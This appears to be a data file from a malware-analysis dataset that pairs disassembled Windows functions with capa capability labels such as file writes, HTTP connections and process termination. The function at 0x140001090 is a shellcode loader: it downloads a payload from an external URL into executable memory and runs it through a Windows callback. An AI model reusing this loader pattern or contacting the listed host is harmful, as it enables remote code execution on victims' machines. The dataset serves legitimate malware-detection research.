joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403590
Capabilities:
Write file on windows

Disassembly:
lea rcx, [0x00401540]
jmp 0x401510
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00403140
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.00403140
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x401530
Function at 0x14000afbc
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x40
xor ebp, ebp
xor r9d, r9d
mov edx, 0x40000000
mov qword [rax - 0x18], rbp
mov dword [rax - 0x20], ebp
lea esi, [rbp + 1]
mov r8d, esi
mov dword [rax - 0x28], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x58]
lea rdx, [0x140dbf560]
cmp rax, 0xffffffffffffffff
movzx ebx, bpl
mov r8d, 0xe9199f
mov rcx, rax
mov rdi, rax
mov qword [rsp + 0x20], rbp
cmove ebx, ebp
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
cmp eax, ebp
cmovne ebx, esi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov al, bl
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x14000b048
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x140
mov rax, qword [0x141c537f8]
xor rax, rsp
mov qword [rsp + 0x130], rax
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x20], 0
call fcn.140078b00
mov r9d, 1
lea rdx, [rsp + 0x20]
lea r8d, [r9 + 0x22]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rdx, str.ckq
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rsp + 0x20]
call fcn.14000afbc
lea rcx, [0x140ab5560]
mov edx, 0x30a000
call fcn.14000a980
mov rbx, rax
test rax, rax
je 0x14000b0e4
lea rdx, [0x141c50f00]
mov rcx, rax
call fcn.14000a764
test rax, rax
je 0x14000b0dc
call rax
mov rcx, rbx
call fcn.14000a708
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140078ad0
add rsp, 0x140
pop rbx
ret

Function at 0x14000b1e4
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rdx
lea r8, [rcx + 0xe8]
mov rbx, rcx
mov rcx, rdi
mov edx, 0x3e9
call fcn.1400232b4
lea r8, [rbx + 0xf0]
mov edx, 0x3ea
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.1400232b4
Function at 0x14001b048
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x14001b0b0
call fcn.14001d734
mov r8d, 0xf0
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x14001b0b0
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x14001b0d2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.14001aa60
mov esi, eax
test rdi, rdi
je 0x14001b0d0
test rbx, rbx
je 0x14001b0d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret

Function at 0x14001c078
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CMSN.virtual_640
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xb0], rdx
test rdx, 0xffffffffffff0000
jne 0x14001c0b7
cmp dword [rcx + 0xa8], 0
jne 0x14001c0b7
movzx eax, dx
mov dword [rcx + 0xa8], eax
call fcn.14001d734
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.14001c01c
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400274d0
Capabilities:
Connect socket

Disassembly:
sub rsp, 0x28
mov rcx, qword [rcx + 8]
call qword [sym.imp.WS2_32.dll_connect]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
add rsp, 0x28
ret

Function at 0x14002a6d4
Capabilities:
Create http request

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
and dword [rcx + 0x20], 0
and qword [rcx + 0x18], 0
lea rax, vtable.CInternetSession.0
mov qword [rcx], rax
mov edi, r9d
mov r10, rdx
mov rbx, rcx
mov qword [rcx + 8], r8
test rdx, rdx
jne 0x14002a70c
call fcn.14001d734
mov r10, qword [rax + 0x20]
mov eax, dword [rsp + 0x70]
mov r9, qword [rsp + 0x68]
mov r8, qword [rsp + 0x60]
mov edx, edi
mov rcx, r10
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
mov qword [rbx + 0x10], rax
test rax, rax
jne 0x14002a741
mov rcx, qword [rbx + 8]
xor edx, edx
call fcn.14002a61c
int3
lea rcx, [0x141c58818]
call fcn.140029b08
lea rcx, [0x141c587e0]
mov rdx, rdi
call fcn.14003f638
lea rcx, [0x141c58818]
mov qword [rax], rbx
mov rax, qword [0x141c58818]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayAllocDescriptorEx]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x14002cd40
Capabilities:
Connect to http server

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rsi
push rdi
push r12
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov r12, r9
mov rbx, r8
mov rbp, rdx
mov rdi, rcx
mov rax, qword [rsp + 0x98]
mov qword [r11 - 0x48], rax
movzx r9d, word [rsp + 0xa0]
call fcn.14002cbc4
nop
lea rax, vtable.CFtpConnection.0
mov qword [rdi], rax
call fcn.14000f06c
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x14002cdb0
mov ecx, 0x80004005
call fcn.140001054
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
add rax, 0x18
mov qword [rdi + 0x30], rax
test rbx, rbx
jne 0x14002cdca
xor eax, eax
jmp 0x14002cdd2
mov rcx, rbx
call fcn.14007b670
mov r8d, eax
mov rdx, rbx
lea rcx, [rdi + 0x30]
call fcn.140001888
neg dword [rsp + 0xa8]
sbb edx, edx
and edx, 0x8000000
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], 1
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9, r12
movzx r8d, word [rsp + 0xa0]
mov rdx, rbx
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rsi, rax
mov qword [rdi + 8], rax
test rax, rax
jne 0x14002ce49
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [rdi + 0x10]
call fcn.14002a61c
int3
mov rbx, qword [rdi + 0x18]
lea rcx, [0x141c58818]
call fcn.140029b08
mov rdx, rsi
lea rcx, [0x141c587e0]
call fcn.14003f638
mov qword [rax], rbx
lea rcx, [0x141c58818]
mov rax, qword [0x141c58818]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayAllocDescriptorEx]
nop
mov rax, rdi
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret

Function at 0x14002ce98
Capabilities:
Connect to http server

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
mov rdi, r9
mov rsi, r8
mov rbx, rdx
mov rbp, rcx
mov rax, qword [rsp + 0x88]
mov qword [r11 - 0x38], rax
movzx r9d, word [rsp + 0x90]
call fcn.14002cbc4
nop
lea rax, vtable.CGopherConnection.0
mov qword [rbp], rax
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9, rdi
movzx r8d, word [rsp + 0x90]
mov rdx, rsi
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rdi, rax
mov qword [rbp + 8], rax
test rax, rax
jne 0x14002cf3f
xor edx, edx
mov rcx, qword [rbp + 0x10]
call fcn.14002a61c
int3
mov rbx, qword [rbp + 0x18]
lea rcx, [0x141c58818]
call fcn.140029b08
mov rdx, rdi
lea rcx, [0x141c587e0]
call fcn.14003f638
mov qword [rax], rbx
lea rcx, [0x141c58818]
mov rax, qword [0x141c58818]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayAllocDescriptorEx]
nop
mov rax, rbp
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x14002d1e8
Capabilities:
Connect to http server

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
movzx ebx, r9w
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
mov rax, qword [rsp + 0x90]
mov qword [r11 - 0x38], rax
call fcn.14002cbc4
nop
lea rax, vtable.CHttpConnection.0
mov qword [rdi], rax
call fcn.14000f06c
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x14002d251
mov ecx, 0x80004005
call fcn.140001054
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
add rax, 0x18
mov qword [rdi + 0x30], rax
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x80]
movzx r8d, bx
mov rdx, rsi
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rsi, rax
mov qword [rdi + 8], rax
test rax, rax
jne 0x14002d2b6
xor edx, edx
mov rcx, qword [rdi + 0x10]
call fcn.14002a61c
int3
mov rbx, qword [rdi + 0x18]
lea rcx, [0x141c58818]
call fcn.140029b08
mov rdx, rsi
lea rcx, [0x141c587e0]
call fcn.14003f638
mov qword [rax], rbx
lea rcx, [0x141c58818]
mov rax, qword [0x141c58818]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayAllocDescriptorEx]
nop
mov rax, rdi
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret

Function at 0x14002d304
Capabilities:
Connect to http server

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
mov ebp, r9d
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
mov rax, qword [rsp + 0x98]
mov qword [r11 - 0x38], rax
movzx r9d, word [rsp + 0x80]
call fcn.14002cbc4
nop
lea rax, vtable.CHttpConnection.0
mov qword [rdi], rax
call fcn.14000f06c
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x14002d375
mov ecx, 0x80004005
call fcn.140001054
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
add rax, 0x18
mov qword [rdi + 0x30], rax
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ebp
mov dword [rsp + 0x28], 3
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x88]
movzx r8d, word [rsp + 0x80]
mov rdx, rbx
mov rcx, qword [rsi + 0x10]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rsi, rax
mov qword [rdi + 8], rax
test rax, rax
jne 0x14002d3de
xor edx, edx
mov rcx, qword [rdi + 0x10]
call fcn.14002a61c
int3
mov rbx, qword [rdi + 0x18]
lea rcx, [0x141c58818]
call fcn.140029b08
mov rdx, rsi
lea rcx, [0x141c587e0]
call fcn.14003f638
mov qword [rax], rbx
lea rcx, [0x141c58818]
mov rax, qword [0x141c58818]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayAllocDescriptorEx]
nop
mov rax, rdi
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x14007c9ec
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.14008eb08
nop
cmp dword [0x141c58ea8], 1
je 0x14007c998
mov dword [0x141c58ea4], 1
mov byte [0x141c58ea0], r12b
test ebx, ebx
jne 0x14007c984
mov rcx, qword [0x141c5afd8]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14007c971
mov rcx, qword [0x141c5afd0]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x14007c910
call fcn.140080608
cmp qword [rdi], rax
jne 0x14007c910
jmp 0x14007c8f6
cmp rdi, rsi
jb 0x14007c971
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140080608
mov qword [rdi], rax
call rbx
mov rcx, qword [0x141c5afd8]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x141c5afd0]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14007c94f
cmp r13, rax
je 0x14007c96f
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x14007c8f6
lea rdx, [0x1400b5538]
lea rcx, [0x1400b5520]
call fcn.14007c6b0
lea rdx, [0x1400b5548]
lea rcx, [0x1400b5540]
call fcn.14007c6b0
nop
test r12d, r12d
je 0x14007c9a7
mov ecx, 8
call fcn.14008e9e8
test r12d, r12d
jne 0x14007c9d2
mov dword [0x141c58ea8], 1
lea ecx, [r12 + 8]
call fcn.14008e9e8
mov ecx, r15d
call fcn.14007c644
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x14007c860

Function at 0x14007c9f8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x14007c860
Function at 0x1400826ab
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x141c537f8]
jne 0x140078aea
rol rcx, 0x10
test cx, 0xffff
jne 0x140078ae6
repz ret
ror rcx, 0x10
jmp 0x140082604
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x141c58f60]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x141c59058]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140082689
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x141c58f60]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400826ab
mov rax, qword [rsp + 0x88]
mov qword [0x141c59058], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x141c58ff8], rax
mov rax, qword [0x141c59058]
mov qword [0x141c58ed0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x141c58fe0], rax
mov dword [0x141c58ec0], 0xc0000409
mov dword [0x141c58ec4], 1
mov rax, qword [0x141c537f8]
mov qword [rsp + 0x68], rax
mov rax, qword [0x141c53800]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x141c58f58], eax
mov ecx, 1
call fcn.140085df0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400c9f38]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x141c58f58], 0
jne 0x140082732
mov ecx, 1
call fcn.140085df0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14009de68
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140080608
xor ebx, ebx
mov rdi, rax
cmp qword [0x141c59cf8], rbx
jne 0x14009df6e
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14009e043
lea rdx, [0x1400ccb28]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14009e043
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x1400ccb18]
mov rcx, rsi
mov qword [0x141c59cf8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x1400ccb00]
mov rcx, rsi
mov qword [0x141c59d00], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x141c59d08], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x141c59d18], rax
test rax, rax
je 0x14009df65
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x141c59d10], rax
jmp 0x14009df75
mov rax, qword [0x141c59d10]
jmp 0x14009df7c
mov rax, qword [0x141c59d10]
mov r11, qword [0x141c59d18]
cmp rax, rdi
je 0x14009dfe4
cmp r11, rdi
je 0x14009dfe4
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x141c59d18]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14009dfe4
test rax, rax
je 0x14009dfe4
call rsi
test rax, rax
je 0x14009dfde
lea rcx, [rsp + 0x88]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14009dfde
test byte [rsp + 0x38], 1
jne 0x14009dfe4
bts ebp, 0x15
jmp 0x14009e022
mov rcx, qword [0x141c59d00]
cmp rcx, rdi
je 0x14009e022
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14009e022
call rax
mov rbx, rax
test rax, rax
je 0x14009e022
mov rcx, qword [0x141c59d08]
cmp rcx, rdi
je 0x14009e022
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14009e022
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x141c59cf8]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14009e043
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14009e045
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140001090
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via windows callback function
Get http content length
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x30
xor edi, edi
lea rcx, str.54as3
xor r9d, r9d
lea edx, [rdi + 1]
xor r8d, r8d
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x50], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_InternetOpenA]
lea rdx, str.http:__xingpai.weilay.com.cn_llq.rar
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
mov edx, 0x20000005
mov rcx, rax
mov rbx, rax
mov dword [rsp + 0x48], 4
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ecx, dword [rsp + 0x40]
call fcn.1400033e4
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x50]
mov rdx, rax
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [rsp + 0x40]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x40]
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.1400030b0
xor r8d, r8d
mov edx, 0x800
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
mov rcx, rdi
call fcn.1400033ec
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x14000372f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000f028]
jne 0x140002efa
rol rcx, 0x10
test cx, 0xffff
jne 0x140002ef6
repz ret
ror rcx, 0x10
jmp 0x140003688
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1404c96e0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1404c97d8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000370d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1404c96e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000372f
mov rax, qword [rsp + 0x88]
mov qword [0x1404c97d8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1404c9778], rax
mov rax, qword [0x1404c97d8]
mov qword [0x1404c9650], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1404c9760], rax
mov dword [0x1404c9640], 0xc0000409
mov dword [0x1404c9644], 1
mov rax, qword [0x14000f028]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000f030]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1404c96d8], eax
mov ecx, 1
call fcn.14000549c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000b318]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1404c96d8], 0
jne 0x1400037b6
mov ecx, 1
call fcn.14000549c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140004114
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140003f84